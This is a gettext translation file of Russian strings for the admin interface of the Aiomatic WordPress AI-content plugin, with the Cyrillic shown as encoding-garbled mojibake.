"иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñм.: Ñта ÑÑылка ." #: res/aiomatic-embeddings.php:639 res/aiomatic-spinner-list.php:4711 msgid "(string) - Sort retrieved posts by parameter. Defaults to 'date'." msgstr "" "(Ñтрока) - Сортировать полученные ПоÑÑ‚Ñ‹ по параметру. По умолчанию «дата»." #: res/aiomatic-embeddings.php:455 res/aiomatic-spinner-list.php:4503 msgid "" "(string) - The post status to return. Valid values are: publish, pending, " "draft, auto-draft, future, private, inherit, trash, other-custom-post-" "statuses" msgstr "" "(Ñтрока) — возвращаемый ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾ÑÑ‚Ñ‹. ДопуÑтимые значениÑ: публикациÑ, " "ожидание, черновик, автоматичеÑкий черновик, будущее, чаÑтное, наÑледование, " "корзина, другие пользовательÑкие поÑÑ‚-ÑтатуÑÑ‹." #: res/aiomatic-embeddings.php:311 res/aiomatic-spinner-list.php:4359 msgid "(string) - use 'user_nicename' (NOT name)" msgstr "(Ñтрока) — иÑпользуйте 'user_nicename' (ÐЕ имÑ)" #: res/aiomatic-embeddings.php:407 res/aiomatic-spinner-list.php:4455 msgid "(string) - use page slug." msgstr "(Ñтрока) - иÑпользовать Ñлаг Ñтраницы." #: res/aiomatic-embeddings.php:375 res/aiomatic-spinner-list.php:4423 msgid "(string) - use post slug." msgstr "(Ñтрока) - иÑпользовать почтовый Ñлаг." #: res/aiomatic-embeddings.php:439 res/aiomatic-spinner-list.php:4487 msgid "" "(string,string) - The post types to return. Valid values are: post, page, " "revision, attachment, other-custom-post-types. To match any post type enter " "the keyword: any. The default is post (if left empty)." msgstr "" "(string,string) — возвращаемые Типы ПоÑтов. ДопуÑтимые значениÑ: ПоÑÑ‚, " "Ñтраница, редакциÑ, вложение, другие пользовательÑкие Типы ПоÑтов. Чтобы " "ÑоответÑтвовать любому Типу ПоÑта, введите ключевое Ñлово: любой. По " "умолчанию иÑпользуетÑÑ ÐŸÐ¾ÑÑ‚ (еÑли оÑтавить пуÑтым)." #: res/aiomatic-embeddings.php:327 res/aiomatic-spinner-list.php:4375 msgid "(string,string,string) - use category slugs instead of names. " msgstr "(string,string,string) - иÑпользовать Ñрлыки категорий вмеÑто имен." #: res/aiomatic-embeddings.php:343 res/aiomatic-spinner-list.php:4391 msgid "(string,string,string) - use tag slugs instead of names. " msgstr "(string,string,string) - иÑпользовать Ñлаги тегов вмеÑто имен." #: res/aiomatic-amazon-list.php:2386 res/aiomatic-automation-list.php:4949 #: res/aiomatic-csv-list.php:934 res/aiomatic-review-list.php:2455 #: res/aiomatic-rules-list.php:2584 res/aiomatic-youtube-list.php:2357 msgid "* = required" msgstr "* = требуетÑÑ" #: res/other/plugin-dash.php:197 msgid "+ More" msgstr "+ Больше" #: res/aiomatic-amazon-list.php:2388 res/aiomatic-automation-list.php:4950 #: res/aiomatic-csv-list.php:935 res/aiomatic-review-list.php:2457 #: res/aiomatic-rules-list.php:2585 res/aiomatic-spinner-list.php:4796 #: res/aiomatic-youtube-list.php:2359 msgid ", click for details:" msgstr ", нажми Ð´Ð»Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹:" #. Plugin URI of the plugin/theme msgid "//1.envato.market/aiomatic" msgstr "//1.envato.market/aiomatic" #. Author URI of the plugin/theme msgid "//coderevolution.ro" msgstr "//coderevolution.ro" #: res/aiomatic-main.php:2672 msgid "0" msgstr "0" #: res/aiomatic-main.php:2653 msgid "0-35" msgstr "0-35" #: res/aiomatic-main.php:7150 msgid "1" msgstr "1" #: res/aiomatic-main.php:2550 msgid "1-255" msgstr "1-255" #: res/aiomatic-main.php:7195 msgid "10" msgstr "10" #: res/aiomatic-main.php:2634 msgid "10-250" msgstr "10-250" #: res/aiomatic-amazon-list.php:1719 res/aiomatic-amazon-list.php:4302 #: res/aiomatic-chatbot.php:2466 res/aiomatic-chatbot.php:4236 #: res/aiomatic-main.php:3479 res/aiomatic-review-list.php:1788 #: res/aiomatic-review-list.php:4455 res/aiomatic-rules-list.php:1917 #: res/aiomatic-rules-list.php:4691 res/aiomatic-single-list.php:2384 #: res/aiomatic-single-list.php:3134 res/aiomatic-single-list.php:4387 #: res/aiomatic-single-list.php:5701 res/aiomatic-single-list.php:7067 #: res/aiomatic-spinner-list.php:1456 res/aiomatic-youtube-list.php:1675 #: res/aiomatic-youtube-list.php:4213 msgid "1024x1024" msgstr "1024x1024" #: res/aiomatic-amazon-list.php:1721 res/aiomatic-amazon-list.php:4312 #: res/aiomatic-chatbot.php:2467 res/aiomatic-main.php:3480 #: res/aiomatic-review-list.php:1790 res/aiomatic-review-list.php:4465 #: res/aiomatic-rules-list.php:1919 res/aiomatic-rules-list.php:4701 #: res/aiomatic-spinner-list.php:1461 res/aiomatic-youtube-list.php:1677 #: res/aiomatic-youtube-list.php:4223 msgid "1024x1792 (only for Dall-E 3)" msgstr "1024x1792 (только Ð´Ð»Ñ Dall-E 3)" #: res/aiomatic-amazon-list.php:1720 res/aiomatic-amazon-list.php:4307 #: res/aiomatic-chatbot.php:2468 res/aiomatic-main.php:3481 #: res/aiomatic-review-list.php:1789 res/aiomatic-review-list.php:4460 #: res/aiomatic-rules-list.php:1918 res/aiomatic-rules-list.php:4696 #: res/aiomatic-spinner-list.php:1466 res/aiomatic-youtube-list.php:1676 #: res/aiomatic-youtube-list.php:4218 msgid "1792x1024 (only for Dall-E 3)" msgstr "1792x1024 (только Ð´Ð»Ñ Dall-E 3)" #: res/aiomatic-main.php:7155 msgid "2" msgstr "2" #: res/aiomatic-main.php:2529 msgid "2.5" msgstr "2.5" #: res/aiomatic-chatbot.php:2464 res/aiomatic-chatbot.php:4234 #: res/aiomatic-main.php:3477 res/aiomatic-single-list.php:2382 #: res/aiomatic-single-list.php:3132 res/aiomatic-single-list.php:4385 #: res/aiomatic-single-list.php:5699 res/aiomatic-single-list.php:7065 msgid "256x256" msgstr "256x256" #: res/aiomatic-amazon-list.php:1717 res/aiomatic-amazon-list.php:4292 #: res/aiomatic-review-list.php:1786 res/aiomatic-review-list.php:4445 #: res/aiomatic-rules-list.php:1915 res/aiomatic-rules-list.php:4681 #: res/aiomatic-spinner-list.php:1446 res/aiomatic-youtube-list.php:1673 #: res/aiomatic-youtube-list.php:4203 msgid "256x256 (only for Dall-E 2)" msgstr "256x256 (только Ð´Ð»Ñ Dall-E 2)" #: res/aiomatic-main.php:7160 msgid "3" msgstr "3" #: res/aiomatic-main.php:4001 msgid "380" msgstr "380" #: res/aiomatic-main.php:2756 msgid "3d-model" msgstr "3d-модель" #: res/aiomatic-main.php:7165 msgid "4" msgstr "4" #: res/aiomatic-main.php:7170 msgid "5" msgstr "5" #: res/aiomatic-chatbot.php:2465 res/aiomatic-chatbot.php:4235 #: res/aiomatic-main.php:3478 res/aiomatic-single-list.php:2383 #: res/aiomatic-single-list.php:3133 res/aiomatic-single-list.php:4386 #: res/aiomatic-single-list.php:5700 res/aiomatic-single-list.php:7066 msgid "512x512" msgstr "512x512" #: res/aiomatic-amazon-list.php:1718 res/aiomatic-amazon-list.php:4297 #: res/aiomatic-review-list.php:1787 res/aiomatic-review-list.php:4450 #: res/aiomatic-rules-list.php:1916 res/aiomatic-rules-list.php:4686 #: res/aiomatic-spinner-list.php:1451 res/aiomatic-youtube-list.php:1674 #: res/aiomatic-youtube-list.php:4208 msgid "512x512 (only for Dall-E 2 & Stable Diffusion)" msgstr "512x512 (только Ð´Ð»Ñ Dall-E 2 и Stable Diffusion)" #: res/aiomatic-main.php:3980 msgid "580" msgstr "580" #: res/aiomatic-main.php:7175 msgid "6" msgstr "6" #: res/aiomatic-main.php:7180 msgid "7" msgstr "7" #: res/aiomatic-main.php:7185 msgid "8" msgstr "8" #: res/aiomatic-main.php:7190 msgid "9" msgstr "9" #: res/aiomatic-main.php:5600 msgid "[aicontent] AI Assistant Name:" msgstr "[aicontent] Ð˜Ð¼Ñ AI-аÑÑиÑтента:" #: res/aiomatic-more.php:95 msgid "[aicontent] Nested Shortcode Support (Advanced Feature):" msgstr "[aicontent] Поддержка вложенных шорткодов (раÑÑˆÐ¸Ñ€ÐµÐ½Ð½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ):" #: res/aiomatic-main.php:31 res/aiomatic-more.php:15 msgid "[aicontent] Shortcode" msgstr "[aicontent] Шорткод" #: res/aiomatic-main.php:5648 msgid "[aicontent] Shortcode Default Model:" msgstr "[aicontent] Модель Шорткода по умолчанию:" #: res/aiomatic-main.php:5724 msgid "[aicontent] Shortcode Frequency Penalty:" msgstr "[aicontent] Штраф за чаÑтоту Шорткодов:" #: res/aiomatic-main.php:5709 msgid "[aicontent] Shortcode Presence Penalty:" msgstr "[aicontent] Штраф за наличие Шорткода:" #: res/aiomatic-main.php:5679 msgid "[aicontent] Shortcode Temperature:" msgstr "[aicontent] Температура Шорткода:" #: res/aiomatic-main.php:5694 msgid "[aicontent] Shortcode Top_p:" msgstr "[aicontent] Шорткод Top_p:" #: res/aiomatic-more.php:93 msgid "[aicontent] Shortcode Tutorial Video:" msgstr "[aicontent] Учебное видео по шорткоду:" #: res/aiomatic-main.php:5590 res/aiomatic-more.php:36 msgid "[aicontent] Shortcode:" msgstr "[aicontent] Шорткод:" #: res/aiomatic-main.php:8473 msgid "" "A flag indicating that only images suitable for all ages should be returned." msgstr "" "Флаг, указывающий, что должны быть возвращены только изображениÑ, подходÑщие " "Ð´Ð»Ñ Ð²Ñех возраÑтов." #: res/other/plugin-dash.php:242 msgid "A selection of plugins, highlighted for you." msgstr "Подборка Плагинов, Ð²Ñ‹Ð´ÐµÐ»ÐµÐ½Ð½Ð°Ñ Ð´Ð»Ñ Ð²Ð°Ñ." #: res/aiomatic-main.php:3568 msgid "Above Input Fields" msgstr "Ðад ПолÑми Ввода" #: res/aiomatic-limits-statistics.php:889 #: res/aiomatic-limits-statistics.php:1020 #: res/aiomatic-limits-statistics.php:1183 #: res/aiomatic-limits-statistics.php:1347 msgid "Absolute Timeframe:" msgstr "ÐбÑолютный Таймфрейм:" #: res/aiomatic-main.php:2455 msgid "Access key (optional)" msgstr "Ключ доÑтупа (необÑзательно)" #: res/aiomatic-main.php:1571 msgid "" "Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing " "Aiomatic grants you access to the plugin's advanced features, but it doesn't " "cover any API credit. You'll need to buy credit from OpenAI or a " "subscription from AiomaticAPI separately." msgstr "" "Приобретение Плагина Aiomatic не включает кредит OpenAI. Покупка Aiomatic " "предоÑтавлÑет вам доÑтуп к раÑширенным функциÑм Плагина, но не покрывает " "никаких кредитов API. Вам нужно будет купить кредит у OpenAI или подпиÑку у " "AiomaticAPI отдельно." #: res/aiomatic-assistants.php:121 res/aiomatic-training.php:345 #: res/aiomatic-training.php:430 res/aiomatic-training.php:515 msgid "Action" msgstr "ÐктивациÑ" #: res/aiomatic-amazon-list.php:296 res/aiomatic-automation-list.php:2617 #: res/aiomatic-csv-list.php:158 res/aiomatic-review-list.php:296 #: res/aiomatic-rules-list.php:306 res/aiomatic-youtube-list.php:296 msgid "Actions" msgstr "ДейÑтвиÑ" #: aiomatic-automatic-ai-content-writer.php:1292 msgid "Activate Plugin License" msgstr "Ðктивировать Лицензию на Плагин" #: res/aiomatic-amazon-list.php:274 res/aiomatic-automation-list.php:2595 #: res/aiomatic-csv-list.php:136 res/aiomatic-limits-statistics.php:1484 #: res/aiomatic-review-list.php:274 res/aiomatic-rules-list.php:284 #: res/aiomatic-youtube-list.php:274 msgid "Active" msgstr "Ðктивировано" #: res/aiomatic-logs.php:468 res/aiomatic-logs.php:472 msgid "Active Plugins" msgstr "Ðктивные Плагины" #: aiomatic-automatic-ai-content-writer.php:1375 msgid "Activity & Logging" msgstr "ÐктивноÑÑ‚ÑŒ и Логирование" #: res/aiomatic-logs.php:609 msgid "Activity Log:" msgstr "Логи ÐктивноÑти:" #: res/aiomatic-logs.php:53 msgid "Activity Logs" msgstr "Ðктивные Логи" #: res/aiomatic-chatbot.php:2806 res/aiomatic-spinner-list.php:3026 msgid "Actor Source Image URL:" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ðктера:" #: aiomatic-automation.php:1202 msgid "Add a comma separated list of categories to set for posts." msgstr "" "Добавьте разделенный запÑтыми ÑпиÑок категорий, которые будут уÑтановлены " "Ð´Ð»Ñ Ð¿Ð¾Ñтов." #: res/aiomatic-main.php:9162 msgid "" "Add a comma separated list of post IDs on which the Keyword Replacer will " "not function." msgstr "" "Добавьте разделенный запÑтыми ÑпиÑок идентификаторов поÑтов, на которых " "ÑредÑтво замены ключевых Ñлов не будет работать." #: aiomatic-automation.php:1209 msgid "Add a comma separated list of tags to set for posts." msgstr "" "Добавьте разделенный запÑтыми ÑпиÑок тегов, которые будут уÑтановлены Ð´Ð»Ñ " "поÑтов." #: res/aiomatic-chatbot.php:720 res/aiomatic-chatbot.php:1130 #, php-format #| msgid "" #| "Add a context to the AI chatbot, so it knows how to act and how to " #| "respond to customers. You can define here the language, tone of voice and " #| "role of the AI assistant. Any other settings will also be able to be " #| "defined here. This text will be preppended to each conversation, to teach " #| "the AI some additional info about you or its behavior. This text will not " #| "be displayed to users, it will be only sent to the chatbot. You can also " #| "use shortcodes in this field. List of supported shortcodes: " #| "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " #| "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. You can also use custom user meta fields (user " #| "meta) which is assigned to usersm using custom shortcodes in this format: " #| "%%~custom_field_slug~%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). Example of prompt to pretain the AI --- Article: " #| "\"%%post_content%%\" \n" #| "\n" #| " Discussion: \n" #| "\n" msgid "" "Add a context to the AI chatbot, so it knows how to act and how to respond " "to customers. You can define here the language, tone of voice and role of " "the AI assistant. Any other settings will also be able to be defined here. " "This text will be preppended to each conversation, to teach the AI some " "additional info about you or its behavior. This text will not be displayed " "to users, it will be only sent to the chatbot. You can also use shortcodes " "in this field. List of supported shortcodes: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, " "%%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, " "%%user_url%%, %%user_description%%. You can also use custom fields (post " "meta) that it's assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to usersm using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the seed command - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). Example " "of prompt to pretain the AI --- Article: \"%%post_content%%\" \n" "\n" " Discussion: \n" "\n" msgstr "" "Добавьте контекÑÑ‚ в AI Чат-бот , чтобы он знал, как дейÑтвовать и как " "отвечать клиентам. ЗдеÑÑŒ вы можете определить Ñзык, тон голоÑа и роль ИИ-" "помощника. ЗдеÑÑŒ также можно будет определить любые другие наÑтройки. Этот " "текÑÑ‚ будет добавлÑÑ‚ÑŒÑÑ Ðº каждому разговору, чтобы Ñообщить AI " "дополнительную информацию о Ð²Ð°Ñ Ð¸Ð»Ð¸ его поведении. Этот текÑÑ‚ не будет " "отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм, он будет отправлен только чат-боту. Ð’Ñ‹ также " "можете иÑпользовать короткие коды в Ñтом поле. СпиÑок поддерживаемых " "коротких кодов: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "Ð’Ñ‹ также можете иÑпользовать наÑтраиваемые Ð¿Ð¾Ð»Ñ (post meta), назначенные " "ПоÑтам, Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких коротких кодов в Ñтом формате: %%!" "custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¼ÐµÑ‚Ð°Ð¿Ð¾Ð»Ñ " "Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "пользовательÑких коротких кодов в Ñтом формате: %%~custom_field_slug~%%. " "Пример: еÑли вы хотите добавить данные, импортированные из наÑтраиваемого " "Ð¿Ð¾Ð»Ñ post_data, вам Ñледует иÑпользовать Ñтот короткий код: %%!post_data!%%. " "Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, " "уÑтановленное в наÑтройках Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ Ñемени. Пример: еÑли вы хотите " "добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, " "иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна " "превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках " "команды seed - Обновление: вложенные шорткоды также поддерживаютÑÑ (шорткоды," " Ñозданные по правилам других плагинов). Пример запроÑа Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ AI --- " "Article: \"%%post_content%%\"\n" "\n" " ОбÑуждение:" #: res/aiomatic-chatbot.php:2419 msgid "" "Add a list of functions which will be allowed to be executed by the chatbot " "(a function on each line). If you set a list of functions here, any other " "function which does not appear on the list will not be allowed to be " "executed by the god mode chatbot." msgstr "" "Добавьте ÑпиÑок функций, которые будет разрешено выполнÑÑ‚ÑŒ чатботу (по одной " "функции в каждой Ñтроке). ЕÑли вы зададите здеÑÑŒ ÑпиÑок функций, то Ð»ÑŽÐ±Ð°Ñ " "Ð´Ñ€ÑƒÐ³Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, не входÑÑ‰Ð°Ñ Ð² Ñтот ÑпиÑок, не будет разрешена к выполнению " "чатботом в режиме бога." #: res/aiomatic-chatbot.php:2404 msgid "" "Add a list of functions which will not be allowed to be executed by the " "chatbot (a function on each line)." msgstr "" "Добавьте ÑпиÑок функций, которые чатбот не Ñможет выполнÑÑ‚ÑŒ (по одной " "функции в каждой Ñтроке)." #: res/aiomatic-rules-list.php:1353 res/aiomatic-rules-list.php:4095 #: res/aiomatic-single-list.php:2792 #, php-format msgid "" "Add a list of headings (one on each line) to use in the generated articles. " "You can use the following shortcodes here: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%. - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins)." msgstr "" "Добавьте ÑпиÑок Заголовоков (по одному в каждой Ñтроке) Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² " "Ñгенерированных СтатьÑÑ…. ЗдеÑÑŒ можно иÑпользовать Ñледующие Шорткоды: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов)." #: res/aiomatic-rules-list.php:1367 res/aiomatic-rules-list.php:4108 #: res/aiomatic-single-list.php:2806 msgid "" "Add a list of image URLs (one on each line) to use in the generated articles." " - Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins)." msgstr "" "Добавьте ÑпиÑок URL-адреÑов изображений (по одному в каждой Ñтроке) Ð´Ð»Ñ " "иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Ñгенерированных СтатьÑÑ…. - Обновление: также поддерживаютÑÑ " "вложенные Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов)." #: res/aiomatic-main.php:3411 res/aiomatic-main.php:9536 msgid "Add a menu name" msgstr "Добавить название меню" #: res/aiomatic-main.php:6625 msgid "" "Add a name for your Qdrant collection. This is optional. The default value " "for this is: qdrant" msgstr "" "Добавьте Ð¸Ð¼Ñ Ð´Ð»Ñ Ñвоей коллекции Qdrant. Это необÑзательно. Значение по " "умолчанию: qdrant." #: res/aiomatic-shortcodes.php:102 msgid "Add A New AI Form" msgstr "Добавить Ðовую Форму AI" #: res/aiomatic-embeddings.php:67 msgid "Add a new embedding:" msgstr "Добавьте новую вÑтавку:" #: aiomatic-ajax-actions.php:7845 res/aiomatic-shortcodes.php:188 msgid "Add A New Form Input Field" msgstr "Добавить новое поле ввода формы" #: res/aiomatic-shortcodes.php:186 msgid "Add a new form:" msgstr "Добавьте новую форму:" #: res/aiomatic-automation-list.php:143 msgid "Add A New OmniBlock Template" msgstr "Добавить новый шаблон OmniBlock" #: aiomatic-automatic-ai-content-writer.php:13881 #: res/aiomatic-automation-list.php:1249 res/aiomatic-automation-list.php:3716 #: res/aiomatic-automation-list.php:6473 msgid "Add A New OmniBlock To The Above Queue (Drag And Drop):" msgstr "Добавьте новый OmniBlock в указанную выше очередь (перетащите):" #: res/aiomatic-main.php:3412 res/aiomatic-main.php:9537 msgid "Add a prompt" msgstr "Добавить Промпт" #: res/aiomatic-rules-list.php:4081 msgid "Add A Related Video To The End Of The Post" msgstr "Добавьте похожее видео в конец ПоÑта" #: res/aiomatic-rules-list.php:1339 res/aiomatic-single-list.php:2778 #: res/aiomatic-spinner-list.php:2040 msgid "Add A Related Video To The End Of The Post:" msgstr "Добавьте похожее видео в конец ПоÑта:" #: res/aiomatic-rules-list.php:1335 res/aiomatic-rules-list.php:4078 #: res/aiomatic-single-list.php:2774 res/aiomatic-spinner-list.php:2036 msgid "" "Add a related YouTube video to the end of to the created post content. This " "feature will require you to add at least one YouTube API key in the plugin's " "'Main Settings' -> 'YouTube API Key List' settings field." msgstr "" "Добавьте ÑвÑзанное видео YouTube в конец Ñозданного Контента публикации. Ð”Ð»Ñ " "Ñтой функции вам потребуетÑÑ Ð´Ð¾Ð±Ð°Ð²Ð¸Ñ‚ÑŒ Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один ключ API YouTube в поле " "ÐаÑтроек Плагина «ОÑновные ÐаÑтройки» -> «СпиÑок ключей API YouTube»." #: res/aiomatic-amazon-list.php:3237 res/aiomatic-review-list.php:3222 msgid "Add A Relevant YouTube Video To The Article" msgstr "Добавьте ÑоответÑтвующее видео YouTube в Ñтатью" #: res/aiomatic-amazon-list.php:607 res/aiomatic-review-list.php:534 #: res/aiomatic-single-list.php:4815 res/aiomatic-single-list.php:6039 msgid "Add A Relevant YouTube Video To The Article:" msgstr "Добавьте ÑоответÑтвующее видео YouTube в Ñтатью:" #: res/aiomatic-main.php:5745 msgid "" "Add a time period between the plugin will run importing at a schedule. To " "disable this feature, leave this field blank. This works based on your " "current server timezone and time. Your current server time is: " msgstr "" "Добавьте период времени, в течение которого Плагин будет запуÑкать импорт по " "раÑпиÑанию. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Это " "работает на оÑнове вашего текущего чаÑового поÑÑа и времени Ñервера. Ваше " "текущее Ð²Ñ€ÐµÐ¼Ñ Ð½Ð° Ñервере:" #: res/aiomatic-automation-list.php:4528 res/aiomatic-automation-list.php:7279 #, php-format msgid "" "Add additional shortcodes which will be available in the OmniBlocks. Add " "multiple shortcodes on a new line. In the above OmniBlocks, you can use the " "shortcodes in this format: %%shortcode_name%%. The format is: shortcode_name " "=> shortcode_value1, shortcode_value2" msgstr "" "Добавьте дополнительные короткие коды, которые будут доÑтупны в OmniBlocks. " "Добавьте неÑколько коротких кодов в новой Ñтроке. Ð’ приведенных выше " "OmniBlocks вы можете иÑпользовать короткие коды в Ñледующем формате: " "%%shortcode_name%%. Формат:shortcode_name => shortcode_value1, " "shortcode_value2" #: res/aiomatic-spinner-list.php:1613 msgid "Add AI Generated Content:" msgstr "Добавьте Контент, Ñозданный AI:" #: res/aiomatic-spinner-list.php:880 msgid "" "Add AI Generated Content: This will automatically append or prepend AI " "generated content to posts." msgstr "" "Добавить Контент, Ñгенерированный AI: Ñто автоматичеÑки добавит Контент, " "Ñгенерированный AI, к ПоÑтам." #: res/aiomatic-rules-list.php:3367 res/aiomatic-youtube-list.php:3100 msgid "Add An Image To Each Heading Of The Article" msgstr "Добавьте изображение к каждому заголовку Ñтатьи" #: res/aiomatic-rules-list.php:526 res/aiomatic-single-list.php:1479 #: res/aiomatic-single-list.php:3467 res/aiomatic-youtube-list.php:529 msgid "Add An Image To Each Heading Of The Article:" msgstr "Добавьте Изображение к каждому Заголовку Статьи:" #: res/aiomatic-review-list.php:3280 msgid "Add Article 'Customer Reviews Analysis' Section" msgstr "Добавить в Ñтатью раздел «Ðнализ отзывов клиентов»" #: res/aiomatic-review-list.php:596 res/aiomatic-single-list.php:6101 msgid "Add Article 'Customer Reviews Analysis' Section:" msgstr "Добавить в Ñтатью раздел «Ðнализ отзывов клиентов»:" #: res/aiomatic-review-list.php:3310 msgid "Add Article 'Pros & Cons' Section" msgstr "Добавить раздел «ПлюÑÑ‹ и минуÑы» Ñтатьи" #: res/aiomatic-review-list.php:626 res/aiomatic-single-list.php:6131 msgid "Add Article 'Pros & Cons' Section:" msgstr "Добавить раздел Ñтатьи «ПлюÑÑ‹ и минуÑы»:" #: res/aiomatic-amazon-list.php:3295 res/aiomatic-review-list.php:3340 msgid "Add Article 'Q&A' Section" msgstr "Добавить раздел Ñтатьи «ВопроÑÑ‹ и ответы» " #: res/aiomatic-amazon-list.php:669 res/aiomatic-review-list.php:656 #: res/aiomatic-single-list.php:4877 res/aiomatic-single-list.php:6161 msgid "Add Article 'Q&A' Section:" msgstr "Добавить раздел Ñтатьи «ВопроÑÑ‹ и ответы» :" #: res/aiomatic-amazon-list.php:3265 res/aiomatic-review-list.php:3250 msgid "Add Article 'Table Of Contents' Section" msgstr "Добавить раздел Ñтатьи «Содержание» " #: res/aiomatic-amazon-list.php:638 res/aiomatic-review-list.php:565 #: res/aiomatic-single-list.php:4846 res/aiomatic-single-list.php:6070 msgid "Add Article 'Table Of Contents':" msgstr "Добавить раздел Ñтатьи «Содержание»:" #: res/aiomatic-rules-list.php:3470 res/aiomatic-youtube-list.php:3207 msgid "Add Article Q&A Section" msgstr "Добавить Раздел ВопроÑов и Ответов по Ñтатье" #: res/aiomatic-rules-list.php:623 res/aiomatic-single-list.php:1576 #: res/aiomatic-single-list.php:3564 res/aiomatic-youtube-list.php:626 msgid "Add Article Q&A Section:" msgstr "Добавить Раздел ВопроÑов и Ответов по Ñтатье:" #: res/aiomatic-rules-list.php:3440 res/aiomatic-youtube-list.php:3177 msgid "Add Article Table Of Contents Section" msgstr "Добавить Статью Оглавление Раздела" #: res/aiomatic-rules-list.php:592 res/aiomatic-single-list.php:1545 #: res/aiomatic-single-list.php:3533 res/aiomatic-youtube-list.php:595 msgid "Add Article Table Of Contents:" msgstr "Добавить Раздел Оглавление в Статью :" #: res/aiomatic-review-list.php:3123 msgid "Add Headings To Content As" msgstr "Добавить Заголовки к Контенту как" #: res/aiomatic-review-list.php:465 res/aiomatic-single-list.php:5970 msgid "Add Headings To Content As:" msgstr "Добавить Заголовки к Контенту как:" #: res/aiomatic-assistants.php:135 res/aiomatic-assistants.php:367 msgid "Add New Assistant" msgstr "Добавить нового аÑÑиÑтента" #: aiomatic-helpers.php:479 msgid "Add new Extensions" msgstr "Добавить новые РаÑширениÑ" #: res/aiomatic-automation-list.php:2326 msgid "Add New OmniBlock Template" msgstr "Добавить новый шаблон OmniBlock" #: res/aiomatic-chatbot.php:2276 res/aiomatic-chatbot.php:5503 msgid "Add New Persona" msgstr "Добавить новую личноÑÑ‚ÑŒ" #: res/aiomatic-chatbot.php:5511 msgid "Add New Persona:" msgstr "Добавить новую личноÑÑ‚ÑŒ:" #: aiomatic-automatic-ai-content-writer.php:15400 msgid "Add New Post Source" msgstr "Добавить новый иÑточник ПоÑÑ‚Ñ‹" #: res/aiomatic-amazon-list.php:3806 res/aiomatic-csv-list.php:1777 #: res/aiomatic-review-list.php:3959 res/aiomatic-rules-list.php:4207 #: res/aiomatic-youtube-list.php:3717 msgid "Add Nofollow Attribute To Manual Links" msgstr "Добавить атрибут Nofollow к ÑÑылкам вручную" #: res/aiomatic-amazon-list.php:1270 res/aiomatic-csv-list.php:624 #: res/aiomatic-review-list.php:1339 res/aiomatic-rules-list.php:1472 